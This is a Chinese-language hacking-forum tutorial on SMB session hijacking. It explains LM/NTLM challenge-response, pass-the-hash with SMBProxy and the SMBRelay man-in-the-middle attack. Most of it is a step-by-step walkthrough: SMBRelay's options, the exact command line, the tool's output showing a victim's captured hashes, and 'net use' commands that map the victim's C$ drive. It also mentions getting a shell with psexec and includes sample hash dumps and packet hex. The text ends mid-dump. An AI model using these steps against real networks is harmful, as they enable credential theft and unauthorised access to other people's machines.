作者:幻影旅团 CIEL 幻影旅团:http://www.ph4nt0m.net/bbs/ E-MAIL:106130@SOHU.COM 最近SMB会话劫持一度成为热点,其实关于这方面的文档早就很齐全了,比如加密机制,存在的弱点等等。 这篇文章没有什么技术性的东西,只是让大家了解这方面攻击过程的具体实现。 先从2个工具谈起吧,SMBPROXY和SMBRELAY,一般来说,如果拿到一个远程主机NTLMHash密码信息, 一般都会使用暴力破解来获取密码,SMBPROXY则可以使用proxy方式与远程主机验证登陆,来达到快速进入的目的,一般这种文件的格式如下 username:id:LANMAN hash:NTLM hash::: admin:1003:CCF9155E3E7DB453AAD3B435B51404EE:3DBDE697D71690A769204BEB12283678::: 实际上,如果我们采用了CAIN,SCOOPLM或者LC4也有可能嗅探到一些SMB会话信息。格式如下 Username\Domain:"":"":Case insensitive password:Case sensitive password:Challenge Administrator:"":"":89E5E3F54A998398DC36E89DDD37334C801201CA39C9A5D3:8457623684F27A5EFA5FE7B647E87C36D78616F80594123C:E3A96FF4507B9EDF 可以看出来,2者无论在形式还是内容上都是存在很大差距的,不过LC4对于这2种格式的密文都是可以破解的。事实上,SMBPROXY只能利用第一种格式的文件,至于为何无法利用嗅探到的数据格式,就得从SMB会话加密机制谈起。 早期SMB协议在网络上传输明文口令。后来出现"LAN Manager Challenge/Response"验证机制,简称LM,但是很容易被破解。微软提出了WindowsNT挑战/响应验证机制,称之为NTLM。现在已经有了更新NTLMv2以及Kerberos验证体系。 假如A机器试图访问B机器某共享资源的时候,A机器会发送当前登陆的用户名和密码,由B机器进行验证,此时B机器会随机产生8字节的挑战(Challenge),送往A机,A用源自明文口令的DESKEY对挑战进行标准DES加密得到响应,并发往B,B从SAM中获取A发送的用户名的LM Hash、NTLM Hash,计算出DESKEY,并对前面发往A的挑战进行标准DES加密,如果双方比较结果一致,那么就算通过验证。如果这次的验证无法成功,才会提醒用户输入用户名和密码,也就是我们常见的验证框。由用户填入用户名和密码后再用同样的方式进行下一轮的加密--验证 (注意:这里的会话机制仅限于NT,2K,如果98,WINME向2K或者NT提出请求的话,你是无法选择用户名的,默认的用户名就是你当前登陆名) 我们先来看看SMBPROXY工作原理,因为PWDUMP截取的文件里后面一排就是NTLM HASH,这里的HASH直接进行DES加密--发送--验证,省去了明文口令加密的那一步,所以,实际上就不需要获取什么明文口令了 下面就是工作图例: Legend: H:把明文口令加密的算法 E DES 加密算法 D Decryption P 是明文口令 S=H(P) 明文口令加密后的HASH,贮存在SAM中, N 挑战 A 客户端 B 服务器 Windows NT/2000 login: 1. A=>B: 发出请求 2. B=>A: N 3. A=>B: E(N,H(P)) 服务器检查的是S=D(N,E(N,H(P))) 或者 E(N,S)=E(N,H(P)). 事实上,S我们是可以通过PWDUMP获得的,也就是说,P已经不需要暴力破解了 Windows NT/2000 "passing the hash": 1. A=>B: 发出请求. 2. B=>A: N 3. A=>B: E(N,S) 发送S=D(N,E(N,S)) 则必然可以通过主机验证,我们此时就是你发送S的用户身份,如果你发送的是管理员的 S值,你就是管理员! 在谈SMBRELAY之前我们先看看下面的一段文档 1997年2月6日,Dominique Brezinski <dominique.brezinski@CyberSafe.COM>对外 发布了一份关于Windows NT身份验证机制脆弱性的文档 假设有主机B与A (1) A向B发起连接请求 (2) B向A发送挑战(一组随机数据,8字节) (3) A用源自明文口令的DESKEY对挑战进行标准DES加密得到响应,并发往B (4) B从SAM中获取A的LM Hash、NTLM Hash,计算出DESKEY,并对前面发往A的挑战进 行标准DES加密 (5) 如果(4)中计算结果与A送过来的响应匹配,A被允许访问B 现在假设一个攻击者C卷入其中 (1) C向B发起连接请求 (2) B向C发送挑战D(一组随机数据) (3) C等待A向B发起连接请求 (4) 当A向B发起连接请求时,C伪造成B向A发送挑战D (5) A用源自明文口令的DESKEY对挑战D进行标准DES加密得到响应E,并发往B (6) C截获到响应E,将它做为针对(2)中挑战D的响应发往B,并声称自己是A (7) B从SAM中获取A的LM Hash、NTLM Hash,计算出DESKEY,并对挑战D进行标准DES 加密 (8) 如果(7)中计算结果与C送过来的响应匹配,C被允许以A的身份访问B。 在今天,如果攻击者只是采用一般的旁者嗅探方式,嗅探得到的HASH中,LM CLI-CHALL无法得到(全为0),哪怕自己的地位是SMB SERVER!这里,我给出2种情况让大家比较 第一种情况:我自己做为SMB SERVER ,由其他机器充当客户的角色访问我的共享资源所抓到的一段数据 Administrator:"":"":5FA055E5F1819F2900000000000000000000000000000000:FACEAAE8DD420A0EA8EBB15B6FC499CF38B0C5B3B616FE38:D29F5CC5DC662A91 这是一段嗅探到的不完整的加密数据,由于LM CLI-CHALL没有能够获取到,所以也就无法被我们利用。 第2种情况:如果我们自己充当CLI,向SMB SERVER发出请求 Administrator:"":"":89E5E3F54A998398DC36E89DDD37334C801201CA39C9A5D3:8457623684F27A5EFA5FE7B647E87C36D78616F80594123C:E3A96FF4507B9EDF 这里就比较完整了,如果倒入LC4破解,最终得到的就是我自己的口令。 事实上,为什么SMBRELAY工作的时候我们能获取到完整的机密数据,包括LN HASH,NT HASH,NT SERV-CHALL,LM CLI-CHALL?原因在于攻击者欺骗了SERV和CLI双方,担任了所有数据的转发。这个时候,就属于第2种情况,我们就能抓到CLI发送给SER的可破解HASH。 下面先简单介绍一下SMBRELAY的工作原理: 预定一下:A是攻击者,TS是SMB服务器,TC是客户机。A开始对双方进行欺骗。 1:TC企图访问TS的共享资源的时候,他先连接的是A 2:A向TS发送一个企图访问的请求 3:TS给予确认,允许连接 4:A假装成TS,发送一个允许连接的确认回应TC,而此时的A则再假装成TC,向TS询问:“would you like to talk to me as if I'm an NT 4 box without extended security?”(一种不安全的会话机制,简称 为J会话) 5:TS允许A的请求,随机产生挑战,发送给A 6:A则对TC使用J对话方式,并且发送一组挑战 6:TC随即用A发送来的挑战对当前用户名和密码进行加密,发送给A 7:A将数据转交给TS 8:TS表示验证通过 9:A断开与TC的连接,直接以TC的身份与TS会话,这时候,A就可以与TS进行IPC连接,映射硬盘,甚至获取 SHELL SMBRELAY所做的工作,就是通过NAT(Network Address Translator)或者iptables对数据进行了重定向, 并且将TS的139端口绑向TC,所以我们后来映射TS的硬盘时,实际上却是TC的硬盘。这也是运行SMBRELAY的 主机139端口不能被占用的原因。 为了更好的理解其工作流程,我们可以结合一次攻击过程来分析 先详细介绍一下SMBRELAY的用法吧 用法:SMBRELAY [选项] /D NUM --设置调试登级,可以选择0,1,2。默认是0 /E --列举本机网卡的接口,转发数据的时候,如果这里没选择好,可能什么都抓不到 /IL NUM --设定在添加本地IP地址时,使用的网卡接口号。 /IR NUM --设定在添加代理IP地址(就像使用了smbporxy的那种IP地址)时,使用的网卡接口号。默认是1 你可以使用/E参数来列举网卡的接口号。 /L[+] IP --设定要接收NetBIOS信息的本地IP地址。使用+是为了设置第一次在NIC(网络接口卡)中添加的 IP地址,默认是使用本机的当前IP地址。 /R[-] IP --设定代理IP地址的起始端。使用-是为了设置第一次在NIC(网络接口卡)中添加的IP地址,默认 是使用192.1.1.1 /S name --设定原始机器(诱饵IP)的名字,默认是CDC4EVER 必须注意的地方: 1:在win2k上,如果系统一直使用139端口,SMBRelay将不能正常的工作---绑定到139端口,因为Microsoft有自己的一套系统自我保护的制度。解决这个问题的最简单的方法就是使用/L+参数来建立一个新的IP地址在我们自己的NIC(网络接口卡),并且你的目标将先连接这个新建的IP,而不是你的真正IP。另外一种方法是在控制版面中手动添加一个IP地址,然后使用/L来指定使用这个IP地址。 2:如果可以的话,SMBRelay将绑定系统的139端口,但是并不是说能够正确绑定就能够正确的接收连接信息。当SMBRelay绑定139端口时,如果系统存在任何的139端口的连接(包括TIME_WAIT状态的),它将很有可能不能够正常工作。win98下则不会接收到任何的连接信息。在Windows NT下,SMBRelay也可能是只能够接收到部分连接信息。就因为这个,我经常执行了几个SMBRelay,用以增加得到信息的可能性。在Windows 2000下,如果系统正在使用将不允许SMBRelay的绑入。 3:在你电脑上建立新的IP地址的时候,你必须特别注意的是在使用/IR或/IL参数时,你应该指定的使用的网卡接口号。使用/E参数来列举网卡接口,和他们的参数。在NT系统中,网卡接口号很简单;在win2k中,他们使用稿字节,所以使用16进制数来表示。如果你不使用/IR参数来设置代理的网络接口(IP地址)时,默认是使用1号网络接口,这将造成只能够使用你的系统来连接的结果。 下面我们就来看看SMBRELAY的某次工作流程 说明::这次攻击过程虽然只需要2台机器,实际上采用了3个IP,构成了中间人攻击的条件 关于IP地址的说明: 我的IP是11.197.248.212,可是SMBRELAY无法运行在这个IP上,因为只有禁用了139端口才能运行SMBRELAY,可是一旦139被禁用,也就无法用NET USE \\IP连接TS。11.197.248.154是一个未被使用的IP地址,我用SBRELAY 虚拟出一个SMB SERVER:11.197.248.154,测试的时候,实际上是 249(受害机器-TC)----212(攻击者-A)----154(SMB服务器-TS) --------------------------------------------------------------------- D:\>smbrelay.exe /IL 2 /IR 2 /L+ 11.197.248.154 /R- 11.197.248.154 /*这里把代理IP指定154,所以下面映射的时候指定IP为154*/ SMBRelay v0.981 - TCP (NetBT) level SMB man-in-the-middle relay attack Copyright 2001: Sir Dystic, Cult of the Dead Cow Send complaints, ideas and donations to sirdystic@cultdeadcow.com Using local adapter index 2: PCI Bus Master Adapter Local IP address added to interface 2 Bound to port 139 on address 11.197.248.154 Connection from 12.114.28.249:1915 /*这里249向154发起请求*/ Request type: Session Request 72 bytes Source name: VODSER <00> Target name: *SMBSERVER <20> Setting target name to source name and source name to 'CDC4EVER'... Response: Positive Session Response 4 bytes Request type: Session Message 137 bytes SMB_COM_NEGOTIATE Response: Session Message 115 bytes Challenge (8 bytes): 33C0E036880693BB /*249向154发出的挑战*/ Request type: Session Message 290 bytes SMB_COM_SESSION_SETUP_ANDX Password lengths: 24 24 Case insensitive password: FA31DD7DA7659D4DB6273B2AC9AF9FCCEA912F843B5A1874 /*LM HASH*/ Case sensitive password: E53DFF557C5E7C37FD34FB5FD959CC26DB335F4C2AB44585 /*NTLM HSHA*/ Username: "UUSER_VODSER" Domain: "VODSER" OS: "Windows 2000 2195" Lanman type: "Windows 2000 5.0" ???: "" Response: Session Message 154 bytes OS: "Windows 5.0" Lanman type: "Windows 2000 LAN Manager" Domain: "WORKGROUP" /*到了这里,由于212成功的充当了中间人的角色,所以获取了所有敏感信息,包括249的Challenge,LM HASH ,NTLM HASH,3个要素全部抓取,已经可以导入LC4破解了*/ Password hash written to disk /*用户名和破解需要的3组数据被完整保留到硬盘*/ Connected? Bound to port 139 on address 11.197.248.154 relaying for host VODSER 12.114.28 .249 -------------------------------------------------------------------------------- 这里154的139端口实际上绑向249,我们已经能够与154成功建立连接,实际上是连向的249 这个时候,我们就可以不需要密码向154建立IPC连接,身份当然是249登陆用户的,如果映射154的硬盘, 实际上也是指向249, ------------------------------------------------------------- 开启另外一个CMD,输入: E:\>net use \\11.197.248.154 命令成功完成。 E:\>net use h: \\11.197.248.154\c$ 命令成功完成。 ----------------------------------------------------- 下面是SMBRELAY的显示: Connection rejected: 12.114.28.249 already connected *** Relay connection for target VODSER received from 11.197.248.212:1615 *** Sent positive session response for relay target VODSER *** Sent dialect selection response (5) for target VODSER *** Sent SMB Session setup response for relay to VODSER 这时候,本机上的H盘就是映射的249的C盘 至此,一次完整的中间人攻击完成。当然,如果对方ADMIN$是打开的,我们还可以用psexec获得SHELL 个人测试的时候,由于机器情况的不同,这里的命令输入可能也是有差距的。 下面是操作中用IRIS抓取的部分数据包,由于212与154在同一个机器上,所以他们之间的数据通讯我们无法抓取的,不过212参与其中数据转发的过程还是可以被记录下来的 先是249向154提出会话请求,那些包没有什么实质内容,省略。。 这里249开始发出挑战 249----->154 00 00 E8 7B CA 4E 00 08 E3 08 43 0B 08 00 45 00 ...{.N....C...E. 00 70 FC 89 40 00 7C 06 54 45 CA 72 0F F1 DA C5 .p..@.|.TE.r.... F8 8F 10 38 00 8B 53 28 E2 07 D2 43 19 3E 50 18 ...8..S(...C.>P. 44 70 46 19 00 00 81 00 00 44 20 43 4B 46 44 45 DpF......D CKFDE 4E 45 43 46 44 45 46 46 43 46 47 45 46 46 43 43 NECFDEFFCFGEFFCC 41 43 41 43 41 43 41 43 41 43 41 00 20 45 48 46 ACACACACACA. EHF 44 43 4E 45 4B 45 47 44 41 44 43 43 41 43 41 43 DCNEKEGDADCCACAC 41 43 41 43 41 43 41 43 41 43 41 41 41 00 ACACACACACAAA. 212----->249 249----->212 212----->249 (一些无关的会话内容我会省略) 212----->249 00 08 E3 08 43 0B 00 00 E8 7B CA 4E 08 00 45 00 ....C....{.N..E. 00 70 08 7C 40 00 80 06 44 69 DA C5 F8 79 CA 72 .p.|@. |